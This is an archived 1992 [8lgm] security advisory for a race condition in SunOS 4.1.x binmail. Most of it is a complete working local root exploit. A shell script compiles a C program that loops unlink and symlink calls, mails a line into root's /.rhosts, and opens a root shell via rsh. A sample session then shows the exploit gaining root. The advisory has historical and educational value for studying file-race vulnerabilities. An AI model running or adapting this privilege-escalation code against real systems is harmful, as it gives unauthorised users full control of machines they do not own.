home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / sunhack.sh < prev    next >
Encoding:
Text File  |  1998-10-15  |  4.7 KB  |  185 lines

  1. ===========================================================================
  2.                 [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992
  3.  
  4.  
  5. PROGRAM:
  6.  
  7.         binmail(1)        (/usr/bin/mail)
  8.  
  9. VULNERABLE OS's:
  10.  
  11.         SunOS 4.1.x
  12.  
  13.         (Possibly other platforms - see DISCUSSION)
  14.  
  15. DESCRIPTION:
  16.  
  17.         A race condition exists in binmail(1), which allows files to
  18.         be created in arbitrary places on the filesystem.  These files
  19.         can be owned by arbitrary (usually system) users.
  20.  
  21. IMPACT:
  22.  
  23.         Any user with access to binmail(1) can become root.
  24.  
  25. REPEAT BY:
  26.  
  27.         This example demonstrates how to become root on most affected
  28.         machines by creating/appending-to root's .rhosts file.  Please
  29.         do not do this unless you have permission.
  30.  
  31.         Create the following file, 'mailscript':
  32.  
  33. 8<--------------------------- cut here ----------------------------
  34. #!/bin/sh
  35. #
  36. # Syntax: mailscript user target-file rsh-user
  37. #
  38. # This exploits a flaw in SunOS binmail(1), and attempts
  39. # to become the specified 'user', by creating a .rhosts
  40. # file and using rsh.
  41. #
  42. # Written 1992 by [8LGM]
  43. # Please do not use this script without permission.
  44. #
  45. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  46. IFS=" "                          export IFS
  47.  
  48. PROG="`basename $0`"
  49. SPOOLDIR="/var/spool/mail"
  50.  
  51. # Check args
  52. if [ $# -ne 3 ]; then
  53.         echo "Syntax: $PROG user target-file rsh-user"
  54.         exit 1
  55. fi
  56. TARGET="$1"
  57. TARGET_FILE="$2"
  58. RSH_USER="$3"
  59.  
  60. # Check we're on SunOS
  61. if [ "x`uname -s`" != "xSunOS" ]; then
  62.         echo "Sorry, this only works on SunOS"
  63.         exit 1
  64. fi
  65.  
  66. # Check user exists
  67. grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
  68. if [ $? -ne 0 ]; then
  69.         echo "$PROG: Warning, $TARGET not in local passwd file"
  70.         # We continue though, might be in the YP passwd file
  71. fi
  72.  
  73. # Check target file
  74. if [ -f $TARGET_FILE ]; then
  75.         OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
  76. 2>/dev/null
  77.         echo "$PROG: Warning, $TARGET_FILE already exists, appending"
  78. else
  79.         OLD_TARGET_LEN=0
  80. fi
  81.  
  82. # Delete spool file if its a link, and we are able
  83. if [ -h "$SPOOLDIR/$TARGET" ]; then
  84.         rm -f "$SPOOLDIR/$TARGET"
  85.         # Dont worry about errors, we catch it below
  86. fi
  87.  
  88. # Check mail file
  89. if [ -f "$SPOOLDIR/$TARGET" ]; then
  90.         echo "$PROG: ${TARGET}'s mail file exists."
  91.         exit 1
  92. fi
  93.  
  94. # Make the race program
  95. cat >mailrace.c << 'EOF'
  96. #include <stdio.h>
  97.  
  98. main(argc,argv)
  99. int argc;
  100. char *argv[];
  101. {
  102.         if (argc != 3) {
  103.                 fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
  104.                 exit(1);
  105.         }
  106.  
  107.         for (;;) {
  108.                 unlink(argv[1]);
  109.                 symlink(argv[2], argv[1]);
  110.         }
  111. }
  112. EOF
  113. cc -o mailrace mailrace.c
  114.  
  115. # Check we now have mailrace
  116. if [ ! -x "mailrace" ]; then
  117.         echo "$PROG: couldnt compile mailrace.c - check it out"
  118.         exit 1
  119. fi
  120.  
  121. # Start mailrace
  122. ./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
  123. RACE_PID=$!
  124.  
  125. # Send mail to the user
  126. NEW_TARGET_LEN=$OLD_TARGET_LEN
  127. while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
  128.         echo "Sending mail to $TARGET"
  129.         echo "localhost $USER" | /bin/mail $TARGET
  130.         sleep 10
  131.         kill -STOP $RACE_PID
  132.         rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
  133.         if [ -f $SPOOLDIR/$TARGET ]; then
  134.                 echo "$PROG: Sorry, we lost the race - cant try again."
  135.                 kill -9 $RACE_PID
  136.                 exit 1
  137.         fi
  138.         kill -CONT $RACE_PID
  139.         if [ -f "$TARGET_FILE" ]; then
  140.                 NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'`
  141. 2>/dev/null
  142.         else
  143.                 NEW_TARGET_LEN=0
  144.         fi
  145.         if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
  146.                 echo "We drew the race that time, trying again"
  147.         fi
  148. done
  149.  
  150. # We won the race
  151. kill -9 $RACE_PID
  152. echo "We won the race, becoming $RSH_USER"
  153. rsh localhost -l $RSH_USER sh -i
  154. exit 0
  155. 8<--------------------------- cut here ----------------------------
  156.  
  157.         (Lines marked with > represent user input)
  158.  
  159. Check what root users are on the system:
  160.  
  161. >       % grep :0: /etc/passwd
  162.         root:*:0:1:Operator:/:/bin/csh
  163.         sysdiag:*:0:1:Old System
  164. Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
  165.         sundiag:*:0:1:System
  166. Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
  167.         +::0:0:::
  168.  
  169. We choose a user with UID 0, but without a /var/spool/mail/<username> file:
  170.  
  171. >       % ls -l /var/spool/mail/sysdiag
  172.         /var/spool/mail/sysdiag not found
  173.  
  174. Execute mailscript.  The user is sysdiag, the target file is /.rhosts, and
  175. the user to rsh to on success is root:
  176.  
  177. >       % chmod 700 mailscript
  178. >       % ./mailscript sysdiag /.rhosts root
  179.         mailscript: Warning, /.rhosts already exists, appending
  180.         Sending mail to sysdiag
  181.         We won the race, becoming root
  182.         ./mailscript: 11051 Killed
  183.         #
  184.  
  185.